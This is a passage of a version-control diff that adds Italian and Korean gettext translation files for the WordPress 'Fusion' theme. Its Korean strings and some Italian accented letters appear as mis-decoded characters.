+msgstr "Stai analizzando il contenuto dell'archivio relativo a %1$s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:33
+#, php-format
+msgid "You are currently browsing the archives for %1$s"
+msgstr "Stai analizzando il contenuto dell'arcihvio relativo a %1$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:36
+#, php-format
+msgid "You are currently browsing the archives for the year %1$s"
+msgstr "Stai analizzando il contenuto dell'archivio dell'anno %1$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:39
+msgid "You have searched the archives for"
+msgstr "Hai cercato nell'archivio per"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:42
+msgid "You are currently browsing the archives."
+msgstr "Stai analizzando il contenuto dell'archivio."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:66
+msgid "Archives"
+msgstr "Archivio"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:77
+msgid "Meta"
+msgstr "Meta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:61
+msgid "Sorry, no posts matched your criteria."
+msgstr "Spiacente, nessun articolo soddisfa i tuoi criteri di ricerca"
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/it_IT_alternate.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/it_IT_alternate.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/it_IT_alternate.po	(revision 44)
@@ -0,0 +1,567 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Fusion 2.2 in italiano\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-02-22 14:32+0200\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Gianni Diurno (aka gidibao) <gidibao@gmail.com>\n"
+"Language-Team: Gianni Diurno | http://gidibao.net/ <gidibao@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Italian\n"
+"X-Poedit-Country: ITALY\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-SearchPath-0: c:\\wamp\\www\\wordpress\\wp-content\\themes\\fusion\n"
+"X-Poedit-SearchPath-1: .\n"
+"X-Poedit-SearchPath-2: ..\n"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/404.php:7
+msgid "Page not found (404)"
+msgstr "Pagina non trovata (404)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:9
+msgid "Archive for category"
+msgstr "Archivio per la categoria"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:11
+msgid "Posts Tagged"
+msgstr "Articoli con tag"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Archive for"
+msgstr "Archivio per"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "F jS, Y"
+msgstr "j F Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+msgid "F, Y"
+msgstr "F Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Y"
+msgstr "Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:19
+msgid "Author Archive"
+msgstr "Archivio autore"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:21
+msgid "Blog Archives"
+msgstr "Archivi del blog"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:14
+msgid "Permanent Link to"
+msgstr "Permanent Link a"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posted by %s in %s"
+msgstr "Pubblicato da %s in %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:37
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posts by %s"
+msgstr "Articoli di %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "on"
+msgstr "il"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:16
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:28
+msgid "Read the rest of this entry &raquo;"
+msgstr "Prosegui la lettura &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "No Comments"
+msgstr "Nessun commento"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "1 Comment"
+msgstr "1 Commento"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "% Comments"
+msgstr "% Commenti"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:65
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:12
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:33
+msgid "&laquo; Older Entries"
+msgstr "&laquo; Articoli precedenti"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:66
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:34
+msgid "Newer Entries &raquo;"
+msgstr "Articoli successivi &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:72
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "Mi spiace, ma non Ã© ancora presente alcun articolo nella categoria %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:74
+msgid "Sorry, but there aren't any posts with this date."
+msgstr "Mi spiace, ma non c'Ã© alcun articolo con questa data."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:77
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "Mi spiace, ma non Ã© ancora presente alcun articolo scritto da %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:79
+msgid "No posts found."
+msgstr "Non Ã© stato trovato alcun articolo."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:10
+msgid "Archives by Month:"
+msgstr "Archivi per mese:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:14
+msgid "Archives by Subject:"
+msgstr "Archivi per oggetto:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:20
+msgid "This user hasn't shared any biographical information"
+msgstr "Questo utente non ha inserito nessuna nota biografica"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:25
+msgid "Homepage:"
+msgstr "Homepage:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:26
+msgid "Yahoo Messenger:"
+msgstr "Yahoo Messenger:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:27
+msgid "Jabber/GTalk:"
+msgstr "Jabber/GTalk:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:28
+msgid "AIM:"
+msgstr "AIM:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:45
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:29
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:25
+msgid "l, F jS, Y"
+msgstr "j F Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Tags: "
+msgstr "Tag: "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Posted in"
+msgstr "Pubblicato sotto"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Edit"
+msgstr "Modifica"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:59
+msgid "No posts found by this author."
+msgstr "Non Ã© stato trovato nessun articolo pubblicato da questo autore."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:5
+msgid "Enter your password to view comments"
+msgstr "Inserisci la password per leggere i commenti"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:21
+msgid "Comments"
+msgstr "Commenti"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:22
+msgid "Trackbacks"
+msgstr "Trackbacks"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:41
+msgid "No comments yet."
+msgstr "Nessun commento ancora."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:62
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "Devi essere <a href=\"%s\">collegato</a> per inviare un commento."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:69
+msgid "Cancel Reply"
+msgstr "Annulla la risposta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logged in as"
+msgstr "Collegato a nome"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Log out of this account"
+msgstr "Esci da questo account"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logout &raquo;"
+msgstr "Esci &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr "Bentornato <strong>%s</strong>."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Change &raquo;"
+msgstr "Cambia &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Close &raquo;"
+msgstr "Chiudi &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+msgid "Name"
+msgstr "Nome"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(required)"
+msgstr "(richiesto)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "E-Mail"
+msgstr "Email"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(will not be published)"
+msgstr "(non verrÃ  pubblicata)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:88
+msgid "Website"
+msgstr "Sito web"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:106
+msgid "Submit Comment"
+msgstr "Invia commento"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:124
+msgid "No trackbacks yet."
+msgstr "Nessun trackbacks ancora."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:137
+msgid "Comments are closed."
+msgstr "I commenti sono stati disattivati."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "Fusion theme by"
+msgstr "Fusion theme di"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "powered by "
+msgstr "powered by "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Entries (RSS)"
+msgstr "Articoli (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "and"
+msgstr "e"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Comments (RSS)"
+msgstr "Commenti (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:15
+msgid "Increase/Decrease text size"
+msgstr "Aumenta/Diminuisci la dimensione del testo"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:16
+msgid "Switch between full and fixed width"
+msgstr "Commuta tra larghezza fissa e totale"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:88
+msgid "Fusion Theme Options"
+msgstr "Opzioni tema Fusion"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:91
+msgid "Meta keywords:"
+msgstr "Meta keywords:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:92
+msgid "Separate with commas"
+msgstr "Separate da una virgola"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Use custom logo image"
+msgstr "Utilizza immagine logo personalizzata"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr "Carica nella cartella del tema il tuo logo a nome \"logo.png\":"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "You should export the logo image with transparency enabled"
+msgstr "Dovresti esportare l'immagine del logo con la trasparenza giÃ  abilitata"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Disable homepage tab"
+msgstr "Disattiva la tab di navigazione per la homepage"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Check this if you are using a static page as the homepage"
+msgstr "Metti il segno di spunta nel caso in cui utilizzassi una pagina statica come homepage"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Show the categories as header tabs"
+msgstr "Mostra le categorie nelle tab della header"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "(instead of pages)"
+msgstr "(al posto delle pagine)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Disable the default category block in the sidebar"
+msgstr "Disattiva il blocco predefinito delle categorie nella barra laterale"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Check if you prefer the widgetized category display or just want to hide the categories"
+msgstr "Metti il segno di spunta nel caso in cui desiderassi mostre le categori via widget oppure preferissi nasconderle"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Disable the default search block in the sidebar"
+msgstr "Disattiva il blocco predefinito della ricerca nella barra laterale"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Check if you don't like the theme-default search look"
+msgstr "Metti il segno di spunta qualora non gradissi l'aspetto del modulo di ricerca predefinito del tema"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Disable layout controls (Aa/<>)"
+msgstr "Disattiva i controlli del layout (Aa/<>)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:124
+msgid "Default page content width:"
+msgstr "Larghezza predefinita per i contenuti della pagina:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:127
+msgid "Fixed (960 pixels)"
+msgstr "Fissa (960 pixels)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:131
+msgid "Fluid (95 percent of the visitor's screen width)"
+msgstr "Fluida (95 per cento della larghezza dello schermo del visitatore)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:132
+msgid "Note that if the layout controls are enabled, the visitor's javascript page width cookie setting will override this option"
+msgstr "Ti ricordo che, nel caso in cui avessi attivato i controlli per il layout, la impostazione javascript del cookie per la larghezza della pagina del visitatore sovrascriverÃ  questa opzione"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:136
+msgid "Sidebar position:"
+msgstr "Posizione della barra laterale:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:139
+msgid "Right (default)"
+msgstr "A destra (predefinita)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:143
+msgid "Left"
+msgstr "A sinistra"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "Disable jQuery and the associated code"
+msgstr "Disattiva jQuery ed il codice associato"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "This will reduce the page load with ~70 KB, but will also disable some features and effects (layout controls, rss links inside category menu, comment tabs, trackbacks).<br />You shouldn't change this unless you have problems with your host regarding bandwidth"
+msgstr "Questa operazione ridurrÃ  il caricamento della pagina di ~70 KB inoltre, disattiverÃ  alcune funzioni ed effetti (controlli del layout, i link rss all'interno del menu delle categorie, le tab dei commenti, i trackbacks).<br />Disattiva solamente qualora avessi dei problemi di bandwidth con il tuo fornitore di servizio di hosting"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Custom CSS code"
+msgstr "Codice CSS personalizzato"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Here you can add or change anything related to design if you have some basic CSS knowledge. Check "
+msgstr "Qui potrai aggiungere o modificare ogni cosa relativa all'aspetto del tema. Ti ricordo che Ã© necessaria almeno una minima esperienza di base sui CSS. Vedi"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "to see existing styles, which you can redefine here."
+msgstr "gli stili esistenti che puoi qui ridefinire."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Don't modify style.css if you wish to preserve your changes after theme update! Use this option instead."
+msgstr "Non modificare direttamete il file style.css qualora desiderassi proteggere durante gli aggiornamenti del tema i cambiamenti da te apportati! Utilizza invece questa opzione. "
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:155
+msgid "Save Changes"
+msgstr "Salva le modifiche"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+msgid "by"
+msgstr "di"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+#, php-format
+msgid "%1$s at %2$s"
+msgstr "%1$s alle %2$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:203
+msgid "H:i"
+msgstr "G:i"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:207
+msgid "Your comment is awaiting moderation."
+msgstr "Il tuo commento Ã© in attesa di essere moderato."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+msgid "Reply"
+msgstr "Rispondi"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:217
+msgid "Quote"
+msgstr "Cita"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:158
+msgid "You are Home"
+msgstr "Sei nella pagina principale"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:158
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:160
+msgid "Home"
+msgstr "Home"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:160
+msgid "Click for Home"
+msgstr "Vai alla pagina principale"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:28
+msgid "This entry was posted on"
+msgstr "Questo articolo Ã© stato pubblicato il"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:30
+msgid "and is filed under"
+msgstr "ed archiviato sotto"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:32
+msgid "You can follow any responses to this entry through"
+msgstr "Puoi restare aggiornato sui commenti a questo articolo"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:35
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Puoi <a href=\"#respond\">lasciare un commento</a>, oppure un <a href=\"%s\" rel=\"trackback\">trackback</a> dal tuo sito."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:39
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "I commenti sono stati disattivati, ma puoi comunque inviare un <a href=\"%s\" rel=\"trackback\">trackback</a> dal tuo sito."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:43
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr "Salta i contenuti e lascia un commento. I ping non sono al momento consentiti."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:47
+msgid "Both comments and pings are currently closed."
+msgstr "I ping ed i commenti sono stati disattivati."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:49
+msgid "Edit this entry"
+msgstr "Modifica questo articolo"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:54
+msgid "Sorry, no attachments matched your criteria."
+msgstr "Mi spiace, nessun allegato coincide con i tuoi criteri."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:60
+msgid "Not Found"
+msgstr "Non trovato"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:61
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr "Mi spiace, ma stai cercando qualcosa che non Ã© qui."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/links.php:9
+msgid "Links:"
+msgstr "Links:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-3col.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-hidecomments.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-nosidebar.php:19
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page.php:16
+msgid "Read the rest of this page &raquo;"
+msgstr "Prosegui la lettura della pagina &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:7
+msgid "Search Results"
+msgstr "Risultati della ricerca"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:39
+msgid "No posts found. Try a different search?"
+msgstr "Non Ã© stato trovato alcun articolo. Prova ad utilizzare un altro termine..."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/searchform.php:8
+msgid "Search"
+msgstr "Cerca"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:27
+#, php-format
+msgid "You are currently browsing the archives for the %1$s category."
+msgstr "In questo momento stai consultando gli archivi della categoria %1$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:33
+#, php-format
+msgid "You are currently browsing the archives for %1$s"
+msgstr "In questo momento stai consultando gli archivi per %1$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:36
+#, php-format
+msgid "You are currently browsing the archives for the year %1$s"
+msgstr "In questo momento stai consultando gli archivi per l'anno %1$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:39
+msgid "You have searched the archives for"
+msgstr "Hai cercato gli archivi per"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:42
+msgid "You are currently browsing the archives."
+msgstr "In questo momento stai consultando gli archivi."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:66
+msgid "Archives"
+msgstr "Archivi"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:77
+msgid "Meta"
+msgstr "Meta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:61
+msgid "Sorry, no posts matched your criteria."
+msgstr "Mi spiace, nessuno degli articoli corrisponde al tuo criterio di ricerca."
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/ko_KR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/ko_KR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/ko_KR.po	(revision 44)
@@ -0,0 +1,601 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Korean by Soul\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-03-01 18:24+0200\n"
+"PO-Revision-Date: \n"
+"Last-Translator: Jong-In Kim <soulofpure@hotmail.com>\n"
+"Language-Team: Jong-In Kim <Jong-In Kim(soulofpure@hotmail.com)>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Korean\n"
+"X-Poedit-Country: KOREA, REPUBLIC OF\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-SearchPath-0: c:\\wamp\\www\\wordpress\\wp-content\\themes\\fusion\n"
+"X-Poedit-SearchPath-1: .\n"
+"X-Poedit-SearchPath-2: ..\n"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/404.php:7
+msgid "Page not found (404)"
+msgstr "íìŽì§ë¥Œ ì°Ÿì ì ììµëë€ (404)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:9
+msgid "Archive for category"
+msgstr "ì¹Ží
+ê³ ëŠ¬ ë³ŽêŽ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:11
+msgid "Posts Tagged"
+msgstr "ë€ì íê·žë¥Œ ìŽ êž:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Archive for"
+msgstr "ë³ŽêŽ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:204
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "F jS, Y"
+msgstr "Yë
+ F jìŒ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+msgid "F, Y"
+msgstr "Yë
+ F"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Y"
+msgstr "Yë
+"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:19
+msgid "Author Archive"
+msgstr "êžìŽìŽ ë³ŽêŽ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:21
+msgid "Blog Archives"
+msgstr "ëžë¡ê·ž ë³ŽêŽ"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:14
+msgid "Permanent Link to"
+msgstr "ìêµ¬ ë§í¬:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posted by %s in %s"
+msgstr "êžìŽìŽ: %s ì¹Ží
+ê³ ëŠ¬: %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:37
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posts by %s"
+msgstr "êžìŽìŽ: %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "on"
+msgstr "ìì±ìŒ:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:16
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:28
+msgid "Read the rest of this entry &raquo;"
+msgstr "ìŽ êžì ëëšžì§ ë¶ë¶ì ìœêž° &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "No Comments"
+msgstr "ëêž ìì"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
